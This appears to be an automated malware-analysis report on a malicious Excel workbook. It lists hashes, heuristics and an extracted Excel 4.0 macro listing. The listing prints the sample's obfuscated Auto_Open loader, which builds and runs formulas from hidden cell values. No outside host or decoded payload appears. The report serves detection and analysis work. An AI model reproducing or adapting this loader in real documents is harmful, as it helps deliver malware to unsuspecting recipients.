Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c2250e1153fb56e5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:35 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 1c0539a9117dc501f1daaf8c96e5d0c1 SHA-1: 8a58c00d7105fdd4fa8d5c74a9852c26e8361db9 SHA-256: c2250e1153fb56e5024740bb323484d19762d822a351ae597c813911d340128d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6688 bytes
SHA-256: bc6f3a8d610ddc51960051897536ef8565c12c03c669b802214db819c238f4af
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ZlKRRMRYaVZ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E145 
' 0018     25 LABEL : Cell Value, String Constant - BEkDXSEmRY len=0 
' 0018     22 LABEL : Cell Value, String Constant - deSJAbm len=0 
' 0018     21 LABEL : Cell Value, String Constant - DUZfMX len=0 
' 0018     27 LABEL : Cell Value, String Constant - EbMOKgwlxNsm len=0 
' 0018     21 LABEL : Cell Value, String Constant - eUDRrg len=0 
' 0018     27 LABEL : Cell Value, String Constant - EVhlpsjaquwA len=0 
' 0018     27 LABEL : Cell Value, String Constant - fntdnsbgtHlp len=0 
' 0018     24 LABEL : Cell Value, String Constant - gRuOrhAWB len=0 
' 0018     23 LABEL : Cell Value, String Constant - HuzABWsL len=0 
' 0018     25 LABEL : Cell Value, String Constant - kUgUedcphA len=0 
' 0018     25 LABEL : Cell Value, String Constant - LrCqTjFyss len=0 
' 0018     25 LABEL : Cell Value, String Constant - MTvLMBdgYI len=0 
' 0018     25 LABEL : Cell Value, String Constant - pcCMaqMQNm len=0 
' 0018     23 LABEL : Cell Value, String Constant - sFJqFMUp len=0 
' 0018     23 LABEL : Cell Value, String Constant - SSEWQtUM len=0 
' 0018     20 LABEL : Cell Value, String Constant - TRinr len=0 
' 0018     23 LABEL : Cell Value, String Constant - WcdYbMlR len=0 
' 0018     25 LABEL : Cell Value, String Constant - wFsZxnXWTT len=0 
' 0018     21 LABEL : Cell Value, String Constant - XqAuPU len=0 
' 0018     22 LABEL : Cell Value, String Constant - YvZaeob len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ZlKRRMRYaVZ,E50,"SET.NAME("TRinr",VALUE("0"))",""
'  ZlKRRMRYaVZ,E52,"SET.NAME("sFJqFMUp",TRinr)",""
'  ZlKRRMRYaVZ,E57,"SET.NAME("WcdYbMlR",TRinr)",""
'  ZlKRRMRYaVZ,E59,"SET.NAME("MTvLMBdgYI",COUNTA(DUZfMX))",""
'  ZlKRRMRYaVZ,E62,"SET.NAME("wFsZxnXWTT",COUNTA(XqAuPU))",""
'  ZlKRRMRYaVZ,E65,[],""
'  ZlKRRMRYaVZ,E69,"SET.NAME("gRuOrhAWB","")",""
'  ZlKRRMRYaVZ,E74,"sFJqFMUp",""
'  ZlKRRMRYaVZ,E79,"SET.NAME("EbMOKgwlxNsm",HLOOKUP("*",DUZfMX,sFJqFMUp,FALSE))",""
'  ZlKRRMRYaVZ,E81,"LrCqTjFyss",""
'  ZlKRRMRYaVZ,E83,"SET.NAME("YvZaeob",TRinr)",""
'  ZlKRRMRYaVZ,E87,[],""
'  ZlKRRMRYaVZ,E89,"YvZaeob",""
'  ZlKRRMRYaVZ,E93,"pcCMaqMQNm",""
'  ZlKRRMRYaVZ,E95,"EVhlpsjaquwA",""
'  ZlKRRMRYaVZ,E100,"SSEWQtUM",""
'  ZlKRRMRYaVZ,E105,"SET.NAME("deSJAbm",VALUE(HLOOKUP("*",XqAuPU,SSEWQtUM,FALSE)))",""
'  ZlKRRMRYaVZ,E110,"HuzABWsL",""
'  ZlKRRMRYaVZ,E115,"gRuOrhAWB",""
'  ZlKRRMRYaVZ,E117,"WcdYbMlR",""
'  ZlKRRMRYaVZ,E122,NEXT(),""
'  ZlKRRMRYaVZ,E125,"fntdnsbgtHlp",""
'  ZlKRRMRYaVZ,E129,"SET.NAME("f",INT(T(FORMULA(T(gRuOrhAWB)&"",""&T(fntdnsbgtHlp)))))",""
'  ZlKRRMRYaVZ,E132,"BEkDXSEmRY",""
'  ZlKRRMRYaVZ,E137,NEXT(),""
'  ZlKRRMRYaVZ,E141,RETURN(),""
'  ZlKRRMRYaVZ,E173,"SET.NAME("kUgUedcphA",E50)",""
'  ZlKRRMRYaVZ,E175,"DUZfMX",""
'  ZlKRRMRYaVZ,E179,"SET.NAME("XqAuPU",R60C14)",""
'  ZlKRRMRYaVZ,E183,"SET.NAME("BEkDXSEmRY",193)",""
'  ZlKRRMRYaVZ,E188,"SET.NAME("eUDRrg",5)",""
'  ZlKRRMRYaVZ,E192,kUgUedcphA(),""
'  ZlKRRMRYaVZ,E193,HALT(),""

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